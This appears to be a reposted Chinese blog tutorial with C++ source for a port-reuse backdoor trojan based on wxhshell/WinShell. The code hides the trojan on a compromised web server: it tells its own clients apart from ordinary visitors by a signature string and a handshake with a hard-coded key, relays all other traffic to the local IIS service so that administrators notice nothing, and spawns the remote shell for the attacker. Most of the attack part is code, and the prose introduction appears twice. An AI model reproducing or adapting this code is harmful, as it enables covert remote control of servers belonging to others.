VC實現埠複用木馬
阿新 • • 發佈:2019-01-04
其實想實現埠利用很簡單,先建立一個Socket之後,用Setsockopt設定Socket的SO_REUSEADDR屬性就可以了。當然要防止別人複用你的埠也很容易,用SetEXCLUSIVEADDRUSE就可以獨佔埠地址了。
我在開始編寫前下載一個wxhshell,它是加上商品複用功能的Winshell。我自己試一了一下它的功能,發現它在WinXp+SP2+IIS5.1 下可以成功,在Windows 2003+ IIS 6.0 下沒有成功。而在Windows Xp下正常工作時,IIS就不能正常工作了,這要是放在肉雞上,別人的網頁都訪問不了了,那管理員就會輕易發現問題。因此這篇文章的重點就在這裡——正確區分木馬訪問和正常的IIS訪問,然後再分別加以處理。
設計思路,先獲取本機連線外網的最佳IP,繫結此IP後,把127.0.0.1留給原服務,因為是TCP連線,所以只在連線起初判斷就行了,就在開始通訊前接收連線方的一段定長的字串,初始判斷是否是使用木馬訪問,如果初步判斷是的話,再進行二路握手,不是則開啟新執行緒進行客戶到本地服務的的資料交換,如果二路握手成功,則開啟木馬功能,不成功就斷開此連線。
需求,需要專門的客戶端進行連線,這裡用我們上次寫的cmdshell客戶端來改造,思路比木馬的要簡單,連線後進行判斷,如果對方不是自己的木馬則退出。
木馬適用環境,任何對外開放了服務且可埠複用的伺服器,如果有防火牆的話,就要用到遠執行緒注入(這裡不做討論)
建議準備編寫或者正在編寫一些工具的朋友,像這樣把每個模組分開設計,地整個程式的效率可能會有提高哦。下面我們就從繫結外網IP開始吧!
1 繫結IP用VC程式設計實現的話,第一步肯定是獲取本機IP了,這個網上的可用程式碼不少,不過,要是獲取最佳IP,又該如何實現呢?具體程式碼如下:
我們這段程式碼就可以獲取連線外網的最佳IP地址。首先確定一個本機要連線的DEFAULT_DESTINATION,這裡只要定義一個合法的外網IP就可以了,再通過GetBestInterface 獲得最佳IP地址主可以了。
2 獲取外網IP。由於外部的客戶連線到指定埠時,就會自動連線到我們的木馬上來,因此接下來就是最重要的一步——判斷是否為木馬請求。具體程式碼如下:
這是經過我修改後的客戶端控制代碼模組,if(strncmp(myFlag,OWN_SIGN,sizeof(OWN_SIGN))!-0)用來初步判斷客戶是不是木馬請求,起初我是讓對本地服務的請求誤轉到木馬執行模組裡面,所以就加了後面的二路握手。加上之後對程式的效率沒有什麼影響,只是為了防止巧合的發生。if(connestab(wsh)==FALSE{closesocket(wsh);contine;}這句是在初步判斷之後和客戶間的二路握手,如果成功就可以執行木馬模組了,不成功就很乾脆地關閉連線。
下面就是木馬裡面的connestab()函式
其中,OWN_KEY為自定義的金鑰,如果客戶端和木馬端的金鑰不同,握手就不會成功Conninfo為自定義的木馬協議結構體,很簡單,char a是作為協議單元的結束符,send(client,(char *)infop,sizeof(info)-3,NULL),在這裡面sizeof(info)-3是因為VC編譯時資料是以4位元組來進行資料結構對齊的,而char只有一位元組,所以sizeof(info)返回的是12,通過再減3就可以得到真實大小了。
握手過程在註釋裡我已經寫得很清楚了,第一路是傳送自己的識別符號68和隨機產生的一個整數A1,然後接收客戶端的迴應,迴應裡面有個整數是隨機數A1對客戶端金鑰求模的結果,還有客戶端產生的隨機數B2,木馬端再驗證B1和A1對自己金鑰求模得出的結果是否一致,如果一樣,則說明一路握手成功,然後進行第二路握手,這時用B2對自己的金鑰求模,放到A2a裡面,最後把A2a的A2b一起發到客戶端,如果對方沒有關閉連線,則說明二路握手成功。
3 驗證完畢,接下來就是執行木馬功能或者進行資料收發了,木馬功能還是WinShell的木馬功能,網上解釋這個文章太多了,大家自己查詢閱讀一下即可。資料轉發模組是我自己寫的,也就是我上篇文章的介紹的select模型。程式碼和cmdshell客戶端的資料交換程式碼大同小異,下面是其原始碼:
這裡客戶端還需要一個握手的函式,其實質和木馬裡面的差不多,我就不單獨拿出來講了,大家自己琢磨一下即可明白。
我在開始編寫前下載一個wxhshell,它是加上商品複用功能的Winshell。我自己試一了一下它的功能,發現它在WinXp+SP2+IIS5.1 下可以成功,在Windows 2003+ IIS 6.0 下沒有成功。而在Windows Xp下正常工作時,IIS就不能正常工作了,這要是放在肉雞上,別人的網頁都訪問不了了,那管理員就會輕易發現問題。因此這篇文章的重點就在這裡——正確區分木馬訪問和正常的IIS訪問,然後再分別加以處理。
設計思路,先獲取本機連線外網的最佳IP,繫結此IP後,把127.0.0.1留給原服務,因為是TCP連線,所以只在連線起初判斷就行了,就在開始通訊前接收連線方的一段定長的字串,初始判斷是否是使用木馬訪問,如果初步判斷是的話,再進行二路握手,不是則開啟新執行緒進行客戶到本地服務的的資料交換,如果二路握手成功,則開啟木馬功能,不成功就斷開此連線。
需求,需要專門的客戶端進行連線,這裡用我們上次寫的cmdshell客戶端來改造,思路比木馬的要簡單,連線後進行判斷,如果對方不是自己的木馬則退出。
木馬適用環境,任何對外開放了服務且可埠複用的伺服器,如果有防火牆的話,就要用到遠執行緒注入(這裡不做討論)
建議準備編寫或者正在編寫一些工具的朋友,像這樣把每個模組分開設計,地整個程式的效率可能會有提高哦。下面我們就從繫結外網IP開始吧!
1 繫結IP用VC程式設計實現的話,第一步肯定是獲取本機IP了,這個網上的可用程式碼不少,不過,要是獲取最佳IP,又該如何實現呢?具體程式碼如下:
#define DEFAULT_DESTINATION "202.115.32.145" DWORD GetBestIp() //獲得本機最好的IP地址 { PMIB_IPADDRTABLE pAddrTable(NULL); PMIB_IPADDRROW pAddrRow(NULL); ULONG ulSize(0); DWORD ret = INVALID_ADDRESS; char * pBuffer = NULL; DWORD dwBestIndex = INVALID_ADDRESS; //獲得最佳IP介面的索引 DWORD dwResult = GetBestInterface(inet_addr(DEFAULT_DESTINATION), &dwBestIndex); if ( dwResult != NO_ERROR ) { //有錯誤,返回不可用地址 return INVALID_ADDRESS; } //獲得本機所有的IP列表 GetIpAddrTable((PMIB_IPADDRTABLE)(char *)pBuffer, &ulSize, TRUE); pBuffer = new char[ulSize]; dwResult = GetIpAddrTable((PMIB_IPADDRTABLE)(char *)pBuffer, &ulSize, TRUE); if ( dwResult == NO_ERROR ) { pAddrTable = (PMIB_IPADDRTABLE)(char *) pBuffer; for (DWORD x = 0; x < pAddrTable->dwNumEntries; x++) { pAddrRow = (PMIB_IPADDRROW) &(pAddrTable->table[x]); //如果和最佳索引相等,則返回其地址 if ( pAddrRow->dwIndex == dwBestIndex ) { ret = pAddrRow->dwAddr; delete [] pBuffer; return ret; } } } delete [] pBuffer; return INVALID_ADDRESS; }
我們這段程式碼就可以獲取連線外網的最佳IP地址。首先確定一個本機要連線的DEFAULT_DESTINATION,這裡只要定義一個合法的外網IP就可以了,再通過GetBestInterface 獲得最佳IP地址主可以了。
2 獲取外網IP。由於外部的客戶連線到指定埠時,就會自動連線到我們的木馬上來,因此接下來就是最重要的一步——判斷是否為木馬請求。具體程式碼如下:
#define OWN_SIGN "scuclark\n" //自身木馬標誌 // 客戶端控制代碼模組 int Wxhshell(SOCKET wsl) { SOCKET wsh; struct sockaddr_in client; DWORD myID; int count; char cmd[5]; while(nUser<MAX_USER) { char myFlag[32]; ThreadInfo threadInfo; int nSize=sizeof(client); //等待連線 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); if(wsh==INVALID_SOCKET) return 1; //以'\n'為終止符接收客戶傳送的驗證字串 count=0; while(count<32) { if(recv(wsh,cmd,1,0)==SOCKET_ERROR) { closesocket(wsh); return FALSE; } myFlag[count]=cmd[0]; if(cmd[0]==0x0a) { myFlag[count]='\n'; myFlag[++count]=0; break; } count++; } //初步判斷是否為木馬請求 if (strncmp(myFlag,OWN_SIGN,strlen(OWN_SIGN))!=0) { u_long loopIP=inet_addr("127.0.0.1"); SOCKET loopback=Make_Connection(loopIP,80,120); if (loopback<0) { closesocket(wsh); continue; } //為新執行緒複製引數建立事件 ownevent = CreateEvent(NULL,FALSE,FALSE,NULL); send(loopback,myFlag,count,0); threadInfo.rawSock=loopback; threadInfo.tcpSock=wsh; CreateThread(0, 0, doReTranToHost, &threadInfo, 0, &myID); //等待新執行緒複製完引數再繼續向下執行 if(WaitForSingleObject(ownevent,INFINITE)==WAIT_FAILED) { continue; } CloseHandle(ownevent); continue; } //初步判斷是木馬請求,再執行二路握手,失敗則關閉連線 if(connestab(wsh)==FALSE){closesocket(wsh);continue;} //握手成功,開啟木馬功能執行執行緒 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); if(handles[nUser]==0) closesocket(wsh); else nUser++; } WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); return 0; }
這是經過我修改後的客戶端控制代碼模組,if(strncmp(myFlag,OWN_SIGN,sizeof(OWN_SIGN))!-0)用來初步判斷客戶是不是木馬請求,起初我是讓對本地服務的請求誤轉到木馬執行模組裡面,所以就加了後面的二路握手。加上之後對程式的效率沒有什麼影響,只是為了防止巧合的發生。if(connestab(wsh)==FALSE{closesocket(wsh);contine;}這句是在初步判斷之後和客戶間的二路握手,如果成功就可以執行木馬模組了,不成功就很乾脆地關閉連線。
下面就是木馬裡面的connestab()函式
#define OWN_KEY 346//金鑰
//自定義握手協議結構體
typedef struct conninfo
{
int go;
int come;
char a;
} * Pconninfo;
//二路握手協議
BOOL connestab(SOCKET client)
{
char buf[256],cmd[5];
int count;
conninfo info;
Pconninfo infop=&info;
info.a='\n';
int a=(int)infop;
info.come=68;
info.go=AverageRandom(100000,999999);
//傳送第一路木馬協議
send(client,(char *)infop,sizeof(info)-3,NULL);
//接收對方迴應的協議
count=0;
while(count<256)
{
if(recv(client,cmd,1,0)==SOCKET_ERROR)
{
closesocket(client);
return FALSE;
}
buf[count]=cmd[0];
if(cmd[0]==0xa || cmd[0]==0xd)
{
buf[count]=0;
break;
}
count++;
}
//驗證對方是否為可信使用者
if( ((Pconninfo)buf)->come!=info.go%OWN_KEY)return FALSE;
info.come=((Pconninfo)buf)->go%OWN_KEY;
info.go='o'+'k';
infop=&info;
//驗證成功,傳送第二路木馬協議,如果對方驗證成功,則整個握手過程成功完成
send(client,(char *)infop,sizeof(info)-3,NULL);
return TRUE;
}
其中,OWN_KEY為自定義的金鑰,如果客戶端和木馬端的金鑰不同,握手就不會成功Conninfo為自定義的木馬協議結構體,很簡單,char a是作為協議單元的結束符,send(client,(char *)infop,sizeof(info)-3,NULL),在這裡面sizeof(info)-3是因為VC編譯時資料是以4位元組來進行資料結構對齊的,而char只有一位元組,所以sizeof(info)返回的是12,通過再減3就可以得到真實大小了。
握手過程在註釋裡我已經寫得很清楚了,第一路是傳送自己的識別符號68和隨機產生的一個整數A1,然後接收客戶端的迴應,迴應裡面有個整數是隨機數A1對客戶端金鑰求模的結果,還有客戶端產生的隨機數B2,木馬端再驗證B1和A1對自己金鑰求模得出的結果是否一致,如果一樣,則說明一路握手成功,然後進行第二路握手,這時用B2對自己的金鑰求模,放到A2a裡面,最後把A2a的A2b一起發到客戶端,如果對方沒有關閉連線,則說明二路握手成功。
3 驗證完畢,接下來就是執行木馬功能或者進行資料收發了,木馬功能還是WinShell的木馬功能,網上解釋這個文章太多了,大家自己查詢閱讀一下即可。資料轉發模組是我自己寫的,也就是我上篇文章的介紹的select模型。程式碼和cmdshell客戶端的資料交換程式碼大同小異,下面是其原始碼:
DWORD WINAPI readwrite(SOCKET tr,SOCKET tc)
{
char bufc[40960],bufr[40960];
char* recvbufpc;
char* recvbufpr;
long recvr,recvc;
FD_SET ding,ding1;
int err,ret;
SOCKET clientr=tr,clientc=tc;
//告訴主執行緒引數複製完畢
SetEvent(ownevent);
recvr=recvc=0;
struct timeval TimeOut;
TimeOut.tv_sec=0;
TimeOut.tv_usec=1000;
FD_ZERO(&ding);
FD_ZERO(&ding1);
FD_SET(clientc,&ding);
FD_SET(clientr,&ding);
while (FD_ISSET(clientc,&ding) && FD_ISSET(clientr,&ding) )
{
//賦初始值
ding1=ding;
//超時或錯誤
int Er=select(16, &ding1, 0, 0, &TimeOut);
if( (Er==SOCKET_ERROR))
{
FD_CLR(clientc,&ding1);
FD_CLR (clientc, &ding);
}
if( FD_ISSET(clientc,&ding1))
{
ret=recv(clientc, bufc, sizeof(bufc), 0);
if(ret == SOCKET_ERROR || ret==0 || ret == WSAECONNRESET)
{
FD_ZERO (&ding);
} //可讀但已經關閉連線
else
{
recvc=ret;
bufc[ret] = '\0';
recvbufpc= bufc;
}
}
if( FD_ISSET(clientr,&ding1))
{
ret=recv(clientr, bufr, sizeof(bufr), 0);
if(ret == SOCKET_ERROR || ret==0 || ret == WSAECONNRESET)
{
FD_ZERO (&ding);
} //可讀但已經關閉連線
else
{
recvr=ret;
bufr[ret] = '\0';
recvbufpr= bufr;
}
}
print:
if(recvr)
{
ret=send(clientc,recvbufpr,recvr,0);
if(ret>0)
{
recvbufpr+=ret;
recvr-=ret;
}
else
{
err=WSAGetLastError();
if(err!=WSAETIMEDOUT)
{
FD_ZERO (&ding);
recvr=0;
}
}
}
if(recvc)
{
ret=send(clientr,recvbufpc,recvc,0);
if(ret>0)
{
recvbufpc+=ret;
recvc-=ret;
}
else
{
err=WSAGetLastError();
if(err!=WSAETIMEDOUT)
{
FD_ZERO (&ding);
recvc=0;
}
}
}
Sleep(1);
if(recvr || recvc )goto print;
}
closesocket(clientr);
closesocket(clientc);
return 1;
}
這裡客戶端還需要一個握手的函式,其實質和木馬裡面的差不多,我就不單獨拿出來講了,大家自己琢磨一下即可明白。